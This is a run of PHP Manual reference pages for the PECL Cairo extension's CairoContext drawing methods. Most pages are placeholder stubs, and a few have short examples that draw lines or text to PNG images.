Whether a current point is defined

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

var_dump($c->hasCurrentPoint());

$c->moveTo(10, 10);

var_dump($c->hasCurrentPoint());

?>

The above example will output:

bool(false)
bool(true)

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

var_dump(cairo_has_current_point($c));

cairo_move_to($c, 10, 10);

var_dump(cairo_has_current_point($c));

?>

The above example will output:

bool(false)
bool(true)

See Also

  • CairoContext::getCurrentPoint() - The getCurrentPoint purpose

User Contributed Notes

There are no user contributed notes for this page.


The identityMatrix purpose

  • « CairoContext::hasCurrentPoint
  • CairoContext::inFill »
  • PHP Manual
  • CairoContext
  • The identityMatrix purpose

CairoContext::identityMatrix

cairo_identity_matrix

(PECL cairo >= 0.1.0)

CairoContext::identityMatrix -- cairo_identity_matrix — The identityMatrix purpose

Description

Object oriented style (method):

public void CairoContext::identityMatrix ( void )

Procedural style:

void cairo_identity_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The inFill purpose

  • « CairoContext::identityMatrix
  • CairoContext::inStroke »
  • PHP Manual
  • CairoContext
  • The inFill purpose

CairoContext::inFill

cairo_in_fill

(PECL cairo >= 0.1.0)

CairoContext::inFill -- cairo_in_fill — The inFill purpose

Description

Object oriented style (method):

public bool CairoContext::inFill ( string $x , string $y )

Procedural style:

bool cairo_in_fill ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The inStroke purpose

  • « CairoContext::inFill
  • CairoContext::lineTo »
  • PHP Manual
  • CairoContext
  • The inStroke purpose

CairoContext::inStroke

cairo_in_stroke

(PECL cairo >= 0.1.0)

CairoContext::inStroke -- cairo_in_stroke — The inStroke purpose

Description

Object oriented style (method):

public bool CairoContext::inStroke ( string $x , string $y )

Procedural style:

bool cairo_in_stroke ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The lineTo purpose

  • « CairoContext::inStroke
  • CairoContext::mask »
  • PHP Manual
  • CairoContext
  • The lineTo purpose

CairoContext::lineTo

cairo_line_to

(PECL cairo >= 0.1.0)

CairoContext::lineTo -- cairo_line_to — The lineTo purpose

Description

Object oriented style (method):

public void CairoContext::lineTo ( string $x , string $y )

Procedural style:

void cairo_line_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The mask purpose

  • « CairoContext::lineTo
  • CairoContext::maskSurface »
  • PHP Manual
  • CairoContext
  • The mask purpose

CairoContext::mask

cairo_mask

(PECL cairo >= 0.1.0)

CairoContext::mask -- cairo_mask — The mask purpose

Description

Object oriented style (method):

public void CairoContext::mask ( string $pattern )

Procedural style:

void cairo_mask ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The maskSurface purpose

  • « CairoContext::mask
  • CairoContext::moveTo »
  • PHP Manual
  • CairoContext
  • The maskSurface purpose

CairoContext::maskSurface

cairo_mask_surface

(PECL cairo >= 0.1.0)

CairoContext::maskSurface -- cairo_mask_surface — The maskSurface purpose

Description

Object oriented style (method):

public void CairoContext::maskSurface ( string $surface [, string $x [, string $y ]] )

Procedural style:

void cairo_mask_surface ( CairoContext $context , CairoSurface $surface [, string $x [, string $y ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

surface

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The moveTo purpose

  • « CairoContext::maskSurface
  • CairoContext::newPath »
  • PHP Manual
  • CairoContext
  • The moveTo purpose

CairoContext::moveTo

cairo_move_to

(PECL cairo >= 0.1.0)

CairoContext::moveTo -- cairo_move_to — The moveTo purpose

Description

Object oriented style (method):

public void CairoContext::moveTo ( string $x , string $y )

Procedural style:

void cairo_move_to ( CairoContext $context , string $x , string $y )

Begin a new sub-path. After this call the current point will be (x, y).

Parameters

context

A valid CairoContext object.

x

The x coordinate of the new position.

y

The y coordinate of the new position

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

// Move 10 pixels across, and 10 pixels down
$c->moveTo(10, 10);
$c->lineTo(90, 90);
$c->setLineWidth(2);
$c->setSourceRgb(1, 1, 1);
$c->stroke();

// Move 90 pixels across, and 10 pixels down
$c->moveTo(90, 10);
$c->lineTo(10, 90);
$c->setLineWidth(2);
$c->setSourceRgb(1, 1, 1);
$c->stroke();

$s->writeToPng(dirname(__FILE__) . '/CairoContext_moveTo.png');
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

// Move 10 pixels across, and 10 pixels down
cairo_move_to($c, 10, 10);
cairo_line_to($c, 90, 90);
cairo_set_line_width($c, 2);
cairo_set_source_rgb($c, 1, 1, 1);
cairo_stroke($c);

// Move 90 pixels across, and 10 pixels down
cairo_move_to($c, 90, 10);
cairo_line_to($c, 10, 90);
cairo_set_line_width($c, 2);
cairo_set_source_rgb($c, 1, 1, 1);
cairo_stroke($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_move_to.png');
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The newPath purpose

  • « CairoContext::moveTo
  • CairoContext::newSubPath »
  • PHP Manual
  • CairoContext
  • The newPath purpose

CairoContext::newPath

cairo_new_path

(PECL cairo >= 0.1.0)

CairoContext::newPath -- cairo_new_path — The newPath purpose

Description

Object oriented style (method):

public void CairoContext::newPath ( void )

Procedural style:

void cairo_new_path ( CairoContext $context )

Clears the current path. After this call there will be no path and no current point.

Parameters

context

A valid CairoContext object.

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
// [...]
CairoContext::newPath();
?>

Example #2 Procedural style

<?php
// [...]
cairo_new_path($context);
?>

See Also

  • CairoContext::appendPath() - Appends a path to current path
  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.


The newSubPath purpose

  • « CairoContext::newPath
  • CairoContext::paint »
  • PHP Manual
  • CairoContext
  • The newSubPath purpose

CairoContext::newSubPath

cairo_new_sub_path

(PECL cairo >= 0.1.0)

CairoContext::newSubPath -- cairo_new_sub_path — The newSubPath purpose

Description

Object oriented style (method):

public void CairoContext::newSubPath ( void )

Procedural style:

void cairo_new_sub_path ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The paint purpose

  • « CairoContext::newSubPath
  • CairoContext::paintWithAlpha »
  • PHP Manual
  • CairoContext
  • The paint purpose

CairoContext::paint

cairo_paint

(PECL cairo >= 0.1.0)

CairoContext::paint -- cairo_paint — The paint purpose

Description

Object oriented style (method):

public void CairoContext::paint ( void )

Procedural style:

void cairo_paint ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The paintWithAlpha purpose

  • « CairoContext::paint
  • CairoContext::pathExtents »
  • PHP Manual
  • CairoContext
  • The paintWithAlpha purpose

CairoContext::paintWithAlpha

cairo_paint_with_alpha

(PECL cairo >= 0.1.0)

CairoContext::paintWithAlpha -- cairo_paint_with_alpha — The paintWithAlpha purpose

Description

Object oriented style (method):

public void CairoContext::paintWithAlpha ( string $alpha )

Procedural style:

void cairo_paint_with_alpha ( CairoContext $context , string $alpha )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The pathExtents purpose

  • « CairoContext::paintWithAlpha
  • CairoContext::popGroup »
  • PHP Manual
  • CairoContext
  • The pathExtents purpose

CairoContext::pathExtents

cairo_path_extents

(PECL cairo >= 0.1.0)

CairoContext::pathExtents -- cairo_path_extents — The pathExtents purpose

Description

Object oriented style (method):

public array CairoContext::pathExtents ( void )

Procedural style:

array cairo_path_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The popGroup purpose

  • « CairoContext::pathExtents
  • CairoContext::popGroupToSource »
  • PHP Manual
  • CairoContext
  • The popGroup purpose

CairoContext::popGroup

cairo_pop_group

(PECL cairo >= 0.1.0)

CairoContext::popGroup -- cairo_pop_group — The popGroup purpose

Description

Object oriented style (method):

public void CairoContext::popGroup ( void )

Procedural style:

void cairo_pop_group ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The popGroupToSource purpose

  • « CairoContext::popGroup
  • CairoContext::pushGroup »
  • PHP Manual
  • CairoContext
  • The popGroupToSource purpose

CairoContext::popGroupToSource

cairo_pop_group_to_source

(PECL cairo >= 0.1.0)

CairoContext::popGroupToSource -- cairo_pop_group_to_source — The popGroupToSource purpose

Description

Object oriented style (method):

public void CairoContext::popGroupToSource ( void )

Procedural style:

void cairo_pop_group_to_source ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The pushGroup purpose

  • « CairoContext::popGroupToSource
  • CairoContext::pushGroupWithContent »
  • PHP Manual
  • CairoContext
  • The pushGroup purpose

CairoContext::pushGroup

cairo_push_group

(PECL cairo >= 0.1.0)

CairoContext::pushGroup -- cairo_push_group — The pushGroup purpose

Description

Object oriented style (method):

public void CairoContext::pushGroup ( void )

Procedural style:

void cairo_push_group ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The pushGroupWithContent purpose

  • « CairoContext::pushGroup
  • CairoContext::rectangle »
  • PHP Manual
  • CairoContext
  • The pushGroupWithContent purpose

CairoContext::pushGroupWithContent

cairo_push_group_with_content

(PECL cairo >= 0.1.0)

CairoContext::pushGroupWithContent -- cairo_push_group_with_content — The pushGroupWithContent purpose

Description

Object oriented style (method):

public void CairoContext::pushGroupWithContent ( string $content )

Procedural style:

void cairo_push_group_with_content ( CairoContext $context , string $content )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

content

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The rectangle purpose

  • « CairoContext::pushGroupWithContent
  • CairoContext::relCurveTo »
  • PHP Manual
  • CairoContext
  • The rectangle purpose

CairoContext::rectangle

cairo_rectangle

(PECL cairo >= 0.1.0)

CairoContext::rectangle -- cairo_rectangle — The rectangle purpose

Description

Object oriented style (method):

public void CairoContext::rectangle ( string $x , string $y , string $width , string $height )

Procedural style:

void cairo_rectangle ( CairoContext $context , string $x , string $y , string $width , string $height )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The relCurveTo purpose

  • « CairoContext::rectangle
  • CairoContext::relLineTo »
  • PHP Manual
  • CairoContext
  • The relCurveTo purpose

CairoContext::relCurveTo

cairo_rel_curve_to

(PECL cairo >= 0.1.0)

CairoContext::relCurveTo -- cairo_rel_curve_to — The relCurveTo purpose

Description

Object oriented style (method):

public void CairoContext::relCurveTo ( string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )

Procedural style:

void cairo_rel_curve_to ( CairoContext $context , string $x1 , string $y1 , string $x2 , string $y2 , string $x3 , string $y3 )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x1

Description...

y1

Description...

x2

Description...

y2

Description...

x3

Description...

y3

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The relLineTo purpose

  • « CairoContext::relCurveTo
  • CairoContext::relMoveTo »
  • PHP Manual
  • CairoContext
  • The relLineTo purpose

CairoContext::relLineTo

cairo_rel_line_to

(PECL cairo >= 0.1.0)

CairoContext::relLineTo -- cairo_rel_line_to — The relLineTo purpose

Description

Object oriented style (method):

public void CairoContext::relLineTo ( string $x , string $y )

Procedural style:

void cairo_rel_line_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The relMoveTo purpose

  • « CairoContext::relLineTo
  • CairoContext::resetClip »
  • PHP Manual
  • CairoContext
  • The relMoveTo purpose

CairoContext::relMoveTo

cairo_rel_move_to

(PECL cairo >= 0.1.0)

CairoContext::relMoveTo -- cairo_rel_move_to — The relMoveTo purpose

Description

Object oriented style (method):

public void CairoContext::relMoveTo ( string $x , string $y )

Procedural style:

void cairo_rel_move_to ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The resetClip purpose

  • « CairoContext::relMoveTo
  • CairoContext::restore »
  • PHP Manual
  • CairoContext
  • The resetClip purpose

CairoContext::resetClip

cairo_reset_clip

(PECL cairo >= 0.1.0)

CairoContext::resetClip -- cairo_reset_clip — The resetClip purpose

Description

Object oriented style (method):

public void CairoContext::resetClip ( void )

Procedural style:

void cairo_reset_clip ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The restore purpose

  • « CairoContext::resetClip
  • CairoContext::rotate »
  • PHP Manual
  • CairoContext
  • The restore purpose

CairoContext::restore

cairo_restore

(PECL cairo >= 0.1.0)

CairoContext::restore -- cairo_restore — The restore purpose

Description

Object oriented style (method):

public void CairoContext::restore ( void )

Procedural style:

void cairo_restore ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The rotate purpose

  • « CairoContext::restore
  • CairoContext::save »
  • PHP Manual
  • CairoContext
  • The rotate purpose

CairoContext::rotate

cairo_rotate

(PECL cairo >= 0.1.0)

CairoContext::rotate -- cairo_rotate — The rotate purpose

Description

Object oriented style (method):

public void CairoContext::rotate ( string $angle )

Procedural style:

void cairo_rotate ( CairoContext $context , string $angle )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

angle

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The save purpose

  • « CairoContext::rotate
  • CairoContext::scale »
  • PHP Manual
  • CairoContext
  • The save purpose

CairoContext::save

cairo_save

(PECL cairo >= 0.1.0)

CairoContext::save -- cairo_save — The save purpose

Description

Object oriented style (method):

public void CairoContext::save ( void )

Procedural style:

void cairo_save ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The scale purpose

  • « CairoContext::save
  • CairoContext::selectFontFace »
  • PHP Manual
  • CairoContext
  • The scale purpose

CairoContext::scale

cairo_scale

(PECL cairo >= 0.1.0)

CairoContext::scale -- cairo_scale — The scale purpose

Description

Object oriented style (method):

public void CairoContext::scale ( string $x , string $y )

Procedural style:

void cairo_scale ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The selectFontFace purpose

  • « CairoContext::scale
  • CairoContext::setAntialias »
  • PHP Manual
  • CairoContext
  • The selectFontFace purpose

CairoContext::selectFontFace

cairo_select_font_face

(PECL cairo >= 0.1.0)

CairoContext::selectFontFace -- cairo_select_font_face — The selectFontFace purpose

Description

Object oriented style (method):

public void CairoContext::selectFontFace ( string $family [, string $slant [, string $weight ]] )

Procedural style:

void cairo_select_font_face ( CairoContext $context , string $family [, string $slant [, string $weight ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

family

Description...

slant

Description...

weight

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setAntialias purpose

  • « CairoContext::selectFontFace
  • CairoContext::setDash »
  • PHP Manual
  • CairoContext
  • The setAntialias purpose

CairoContext::setAntialias

cairo_set_antialias

(PECL cairo >= 0.1.0)

CairoContext::setAntialias -- cairo_set_antialias — The setAntialias purpose

Description

Object oriented style (method):

public void CairoContext::setAntialias ([ string $antialias ] )

Procedural style:

void cairo_set_antialias ( CairoContext $context [, string $antialias ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

antialias

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setDash purpose

  • « CairoContext::setAntialias
  • CairoContext::setFillRule »
  • PHP Manual
  • CairoContext
  • The setDash purpose

CairoContext::setDash

cairo_set_dash

(PECL cairo >= 0.1.0)

CairoContext::setDash -- cairo_set_dash — The setDash purpose

Description

Object oriented style (method):

public void CairoContext::setDash ( string $dashes [, string $offset ] )

Procedural style:

void cairo_set_dash ( CairoContext $context , array $dashes [, string $offset ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

dashes

Description...

offset

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFillRule purpose

  • « CairoContext::setDash
  • CairoContext::setFontFace »
  • PHP Manual
  • CairoContext
  • The setFillRule purpose

CairoContext::setFillRule

cairo_set_fill_rule

(PECL cairo >= 0.1.0)

CairoContext::setFillRule -- cairo_set_fill_rule — The setFillRule purpose

Description

Object oriented style (method):

public void CairoContext::setFillRule ( string $setting )

Procedural style:

void cairo_set_fill_rule ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFontFace purpose

  • « CairoContext::setFillRule
  • CairoContext::setFontMatrix »
  • PHP Manual
  • CairoContext
  • The setFontFace purpose

CairoContext::setFontFace

cairo_set_font_face

(PECL cairo >= 0.1.0)

CairoContext::setFontFace -- cairo_set_font_face — The setFontFace purpose

Description

Object oriented style (method):

public void CairoContext::setFontFace ( CairoFontFace $fontface )

Procedural style:

void cairo_set_font_face ( CairoContext $context , CairoFontFace $fontface )

Sets the font-face for a given context.

Parameters

context

A CairoContext object to change the font-face for.

fontface

A CairoFontFace object

Return Values

No value is returned

Examples

Example #1 Object oriented style

<?php
// New surface with white background
$s = new CairoImageSurface(CairoFormat::ARGB32, 300, 100);
$c = new CairoContext($s);
$c->setSourceRgb(1, 1, 1);
$c->paint();

// Draw some text
$c->setSourceRgb(0, 0, 0);
$c->moveTo(10, 60);
// Create a new font face
$f = new CairoToyFontFace("sans-serif", CairoFontSlant::NORMAL, CairoFontWeight::NORMAL);
$c->setFontFace($f);
$c->setFontSize(30);
$c->showText('Hello, World!');
$s->writeToPng(dirname(__FILE__) . '/setFontFace.png');
?>

Example #2 Procedural style

<?php
/* ... */
?>

See Also

  • CairoContext::setFontSize() - The setFontSize purpose
  • CairoContext::showText() - The showText purpose

User Contributed Notes

There are no user contributed notes for this page.


The setFontMatrix purpose

  • « CairoContext::setFontFace
  • CairoContext::setFontOptions »
  • PHP Manual
  • CairoContext
  • The setFontMatrix purpose

CairoContext::setFontMatrix

cairo_set_font_matrix

(PECL cairo >= 0.1.0)

CairoContext::setFontMatrix -- cairo_set_font_matrix — The setFontMatrix purpose

Description

Object oriented style (method):

public void CairoContext::setFontMatrix ( string $matrix )

Procedural style:

void cairo_set_font_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFontOptions purpose

  • « CairoContext::setFontMatrix
  • CairoContext::setFontSize »
  • PHP Manual
  • CairoContext
  • The setFontOptions purpose

CairoContext::setFontOptions

cairo_set_font_options

(PECL cairo >= 0.1.0)

CairoContext::setFontOptions -- cairo_set_font_options — The setFontOptions purpose

Description

Object oriented style (method):

public void CairoContext::setFontOptions ( string $fontoptions )

Procedural style:

void cairo_set_font_options ( CairoContext $context , CairoFontOptions $fontoptions )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

fontoptions

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFontSize purpose

  • « CairoContext::setFontOptions
  • CairoContext::setLineCap »
  • PHP Manual
  • CairoContext
  • The setFontSize purpose

CairoContext::setFontSize

cairo_set_font_size

(PECL cairo >= 0.1.0)

CairoContext::setFontSize -- cairo_set_font_size — The setFontSize purpose

Description

Object oriented style (method):

public void CairoContext::setFontSize ( string $size )

Procedural style:

void cairo_set_font_size ( CairoContext $context , string $size )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

size

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setLineCap purpose

  • « CairoContext::setFontSize
  • CairoContext::setLineJoin »
  • PHP Manual
  • CairoContext
  • The setLineCap purpose

CairoContext::setLineCap

cairo_set_line_cap

(PECL cairo >= 0.1.0)

CairoContext::setLineCap -- cairo_set_line_cap — The setLineCap purpose

Description

Object oriented style (method):

public void CairoContext::setLineCap ( string $setting )

Procedural style:

void cairo_set_line_cap ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setLineJoin purpose

  • « CairoContext::setLineCap
  • CairoContext::setLineWidth »
  • PHP Manual
  • CairoContext
  • The setLineJoin purpose

CairoContext::setLineJoin

cairo_set_line_join

(PECL cairo >= 0.1.0)

CairoContext::setLineJoin -- cairo_set_line_join — The setLineJoin purpose

Description

Object oriented style (method):

public void CairoContext::setLineJoin ( string $setting )

Procedural style:

void cairo_set_line_join ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setLineWidth purpose

  • « CairoContext::setLineJoin
  • CairoContext::setMatrix »
  • PHP Manual
  • CairoContext
  • The setLineWidth purpose

CairoContext::setLineWidth

cairo_set_line_width

(PECL cairo >= 0.1.0)

CairoContext::setLineWidth -- cairo_set_line_width — The setLineWidth purpose

Description

Object oriented style (method):

public void CairoContext::setLineWidth ( string $width )

Procedural style:

void cairo_set_line_width ( CairoContext $context , string $width )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

width

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setMatrix purpose

  • « CairoContext::setLineWidth
